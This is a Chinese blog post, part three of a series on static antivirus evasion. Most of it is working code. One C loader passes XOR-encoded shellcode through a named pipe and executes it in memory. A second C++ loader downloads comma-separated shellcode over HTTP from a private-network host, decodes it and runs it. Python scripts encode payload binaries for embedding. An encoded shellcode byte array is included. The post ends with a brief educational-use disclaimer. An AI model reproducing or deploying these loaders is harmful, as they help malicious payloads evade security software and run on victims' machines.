静态恶意代码逃逸(三)

分离

0x01 管道接收shellcode

何为管道:管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。

通常与Pipe相关的API都与管道有关,包括Cobaltstrike External C2也是用的管道进行进程通信,一般管道是一个公开的内核对象,所有进程都可以访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>

#define BUFF_SIZE 1024
char buf[] =
"\xf6\xe2\x88\x0a\x0a\x0a\x6a\x83\xef\x3b\xca\x6e\x81\x5a\x3a"
"\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5"
"\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xf8\x58"
"\x5d\x81\x58\x1a\x81\x40\x36\x81\x46\x1b\x72\xe9\x42\x0b\xdb"
"\x5b\x81\x53\x2a\x0b\xd9\x81\x43\x12\xe9\x30\x43\x81\x3e\x81"
"\x0b\xdc\x3b\xf5\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfc\x09"
"\x77\xf2\x31\x77\x2e\x7f\xee\x52\x81\x52\x2e\x0b\xd9\x6c\x81"
"\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e"
"\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x55\x55\x50\x81\x18\xe1"
"\x87\x57\x60\x0b\x87\x8f\xb8\x0a\x0a\x0a\x5a\x62\x3b\x81\x65"
"\x8d\xf5\xdf\xb1\xfa\xbf\xa8\x5c\x62\xac\x9f\xb7\x97\xf5\xdf"
"\x36\x0c\x76\x00\x8a\xf1\xea\x7f\x0f\xb1\x4d\x19\x78\x65\x60"
"\x0a\x59\xf5\xdf\x69\x6b\x66\x69\x24\x6f\x72\x6f\x0a";
const TCHAR* ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
BOOL RecvShellcode(VOID) {
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf); // 获取buf的大小作为shellcode的大小
// 等待管道可用
WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER); // 等待命名管道可用
// 连接管道
hPipeClient = CreateFile(
ptsPipeName,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
); // 创建文件句柄以连接到命名管道

if (hPipeClient == INVALID_HANDLE_VALUE) {
printf("[+]Can't Open Pipe , Error : %d \n", GetLastError());
return FALSE; // 无法打开管道,返回失败
}

WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL); // 将shellcode写入管道
if (dwWritten == dwShellcodeSize) {
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize);
return TRUE; // 写入成功,返回成功
}
CloseHandle(hPipeClient);
return FALSE; // 写入失败,返回失败
}


int wmain(int argc, TCHAR* argv[]) {

HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 用于存储内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 创建命名管道
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL
);

if (hPipe == INVALID_HANDLE_VALUE) {
dwError = GetLastError();
printf("[-]Create Pipe Error : %d \n", dwError);
return dwError; // 创建命名管道失败,返回错误码
}

CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)RecvShellcode, NULL, NULL, NULL); // 创建线程等待接收shellcode

if (ConnectNamedPipe(hPipe, NULL) > 0) {
printf("[+]Client Connected...\n");
ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL); // 从管道中读取数据
printf("[+]Get DATA Length : %d \n", dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE); // 在内存中分配空间
// 拷贝内存
CopyMemory(pszShellcode, szBuffer, dwLen); // 将数据复制到分配的内存中

for (DWORD i = 0; i < dwLen; i++) {
//Sleep(50);
_InterlockedXor8(pszShellcode + i, 10); // 对内存中的数据进行异或操作
}

// 更改内存页属性为可执行
VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)pszShellcode,
NULL,
NULL,
&dwThreadId
);

WaitForSingleObject(hThread, INFINITE); // 等待线程执行完毕
}

return 0;
}

没看,贴的代码,感觉没啥调用。

0x02 http 分离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#include <string>
#include <windows.h>
#include <winhttp.h>
#include<iostream>
#pragma comment(lib, "winhttp.lib")

using namespace std;

char* WinGet(char* ip, int port, char* url)
{

HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;
HINTERNET hRequest = NULL;

//************ 将char转换为wchar_t *****************/
int ipSize;
wchar_t* ip_wchar;
//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
ipSize = MultiByteToWideChar(CP_ACP, 0, ip, -1, NULL, 0); //iSize =wcslen(pwsUnicode)+1=6
ip_wchar = (wchar_t*)malloc(ipSize * sizeof(wchar_t)); //不需要 pwszUnicode = (wchar_t *)malloc((iSize+1)*sizeof(wchar_t))
MultiByteToWideChar(CP_ACP, 0, ip, -1, ip_wchar, ipSize);

int urlSize;
wchar_t* url_wchar;
//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
urlSize = MultiByteToWideChar(CP_ACP, 0, url, -1, NULL, 0); //iSize =wcslen(pwsUnicode)+1=6
url_wchar = (wchar_t*)malloc(urlSize * sizeof(wchar_t)); //不需要 pwszUnicode = (wchar_t *)malloc((iSize+1)*sizeof(wchar_t))
MultiByteToWideChar(CP_ACP, 0, url, -1, url_wchar, urlSize);
//************ ********************************* *****************/


//port = 80; //默认端口

//1. 初始化一个WinHTTP-session句柄,参数1为此句柄的名称
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);

if (hSession == NULL) {
cout << "Error:Open session failed: " << GetLastError() << endl;
exit(0);
}

//2. 通过上述句柄连接到服务器,需要指定服务器IP和端口号 INTERNET_DEFAULT_HTTP_PORT:80。若连接成功,返回的hConnect句柄不为NULL
hConnect = WinHttpConnect(hSession, ip_wchar, port, 0);
if (hConnect == NULL) {
cout << "Error:Connect failed: " << GetLastError() << endl;
exit(0);
}

//3. 通过hConnect句柄创建一个hRequest句柄,用于发送数据与读取从服务器返回的数据。
hRequest = WinHttpOpenRequest(hConnect, L"GET", url_wchar, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
//其中参数2表示请求方式,此处为Get;参数3:给定Get的具体地址,如这里的具体地址为https://www.citext.cn/GetTime.php
if (hRequest == NULL) {
cout << "Error:OpenRequest failed: " << GetLastError() << endl;
exit(0);
}

BOOL bResults;
//发送请求
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0, WINHTTP_NO_REQUEST_DATA, 0,
0, 0);

if (!bResults) {
cout << "Error:SendRequest failed: " << GetLastError() << endl;
exit(0);
}
else {
//(3) 发送请求成功则准备接受服务器的response。注意:在使用 WinHttpQueryDataAvailable和WinHttpReadData前必须使用WinHttpReceiveResponse才能access服务器返回的数据
bResults = WinHttpReceiveResponse(hRequest, NULL);
}


LPVOID lpHeaderBuffer = NULL;
DWORD dwSize = 0;
//4-3. 获取服务器返回数据
LPSTR pszOutBuffer = NULL;
DWORD dwDownloaded = 0; //实际收取的字符数
wchar_t* pwText = NULL;
if (bResults)
{
do
{
//(1) 获取返回数据的大小(以字节为单位)
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) {
cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl;
break;
}
if (!dwSize) break; //数据大小为0

//(2) 根据返回数据的长度为buffer申请内存空间
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer) {
cout << "Out of memory." << endl;
break;
}
ZeroMemory(pszOutBuffer, dwSize + 1); //将buffer置0

//(3) 通过WinHttpReadData读取服务器的返回数据
if (!WinHttpReadData(hRequest, pszOutBuffer, dwSize, &dwDownloaded)) {
cout << "Error:WinHttpQueryDataAvailable failed:" << GetLastError() << endl;
}
if (!dwDownloaded)
break;


} while (dwSize > 0);
//4-4. 将返回数据转换成UTF8
DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, pszOutBuffer, -1, NULL, 0); //返回原始ASCII码的字符数目
pwText = new wchar_t[dwNum]; //根据ASCII码的字符数分配UTF8的空间
MultiByteToWideChar(CP_UTF8, 0, pszOutBuffer, -1, pwText, dwNum); //将ASCII码转换成UTF8
//printf("\n返回数据为:\n%S\n\n", pwText);


}

//5. 依次关闭request,connect,session句柄
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);

/****************** 将wchar转换为char *******************/
int iSize;
char* data;

//返回接受字符串所需缓冲区的大小,已经包含字符结尾符'\0'
iSize = WideCharToMultiByte(CP_ACP, 0, pwText, -1, NULL, 0, NULL, NULL); //iSize =wcslen(pwsUnicode)+1=6
data = (char*)malloc(iSize * sizeof(char)); //不需要 pszMultiByte = (char*)malloc(iSize*sizeof(char)+1);
WideCharToMultiByte(CP_ACP, 0, pwText, -1, data, iSize, NULL, NULL);
return data;
}




char* StrToShellcode(char str[], int* length)
{
char buf[2048];
const char s[2] = ",";
char* token;
char* context;
int i = 0;
/* 获取第一个子字符串 */
token = strtok_s(str, s, &context);

/* 继续获取其他的子字符串 */
while (token != NULL) {
buf[i] = (unsigned char)atoi(token);
//printf("%s %d\n", token, i);
//printf("%02x\n", buf[i]);
token = strtok_s(NULL, s, &context);
i++;
}

*length = i; // 存储 shellcode 的长度
return buf;
}

int main(int argc, char* argv[])
{
char* data;
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性

const char ip[16] = "10.211.55.2";
char* ips = const_cast<char*>(ip);

const char url[11] = "calc.txt";
char* urls = const_cast<char*>(url);

data = WinGet(ips, 80, urls);
//cout << "返回的数据为: " << data << endl;

//执行shellcode
int shellcode_length;
char* buf = StrToShellcode(data, &shellcode_length);

for (int i = 0; i < shellcode_length; i++) {
buf[i] ^= 10;
}

char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_length,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);


// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_length);

VirtualProtect(shellcode, shellcode_length, PAGE_EXECUTE, &dwOldProtect);


hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}

binary_to_decimal脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import sys

def binary_to_decimal(input_file, output_file):
with open(input_file, 'rb') as file:
binary_data = file.read()

decimal_numbers = [str(byte) for byte in binary_data]

with open(output_file, 'w') as file:
file.write(','.join(decimal_numbers))

print(f"Conversion completed. Decimal numbers saved in {output_file}.")

if __name__ == '__main__':
if len(sys.argv) < 3:
print("Usage: python binary_to_decimal.py input_file output_file")
else:
input_file = sys.argv[1]
output_file = sys.argv[2]
binary_to_decimal(input_file, output_file)

image-20240703015830616

bin2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
import sys
from argparse import ArgumentParser, FileType

def apply_xor(bytearray_data, xor_key, output_file=None):
for i in range(len(bytearray_data)):
bytearray_data[i] ^= xor_key
if output_file:
with open(output_file, "wb") as f:
f.write(bytearray_data)

if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument("file", type=FileType("rb"), help="输入文件路径")
parser.add_argument("mode", choices=["c", "cs"], help="输出模式:c 或 cs")
parser.add_argument("-x", "--xor", type=int, help="XOR 密钥")
parser.add_argument("-o", "--output", type=str, help="输出xor的bin文件")
args = parser.parse_args()

if args.xor:
xor_key = args.xor
else:
xor_key = None

if args.mode == "c":
# 适用于 C shellcode
shellcode = "\""
ctr = 1
maxlen = 15

bytearray_data = bytearray(args.file.read())

if xor_key:
apply_xor(bytearray_data, xor_key, args.output)

for b in bytearray_data:
shellcode += "\\x" + format(b, '02x')
if ctr == maxlen:
shellcode += "\" \n\""
ctr = 0
ctr += 1
shellcode += "\""
print("unsigned char buf[] =\n" + shellcode + ";")

else:
# 适用于 C# shellcode
shellcode_raw = ""
shellcode_hex = ""
ctr = 1
maxlen = 15

bytearray_data = bytearray(args.file.read())

if xor_key:
apply_xor(bytearray_data, xor_key, args.output)

for b in bytearray_data:
shellcode_hex += "0x" + format(b, '02x') + ","
if ctr == maxlen:
shellcode_hex += "\n"
ctr = 0
ctr += 1
length = str(len(bytearray_data))
print("byte[] buf = new byte[" + length + "] {\n" + shellcode_hex[:-1] + "};")

image-20240703015933976

-o 文件名,xor后生成新的bin

image-20240703020010451

参考

https://rvn0xsy.github.io

https://luckyfuture.top/BypassAVLearning2.html#%E4%BB%8Eweb%E5%8A%A0%E8%BD%BDshellcode

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。


静态恶意代码逃逸(三)
https://unam4.github.io/2024/06/08/静态恶意代码逃逸-三/
作者
unam4
发布于
2024年6月8日
许可协议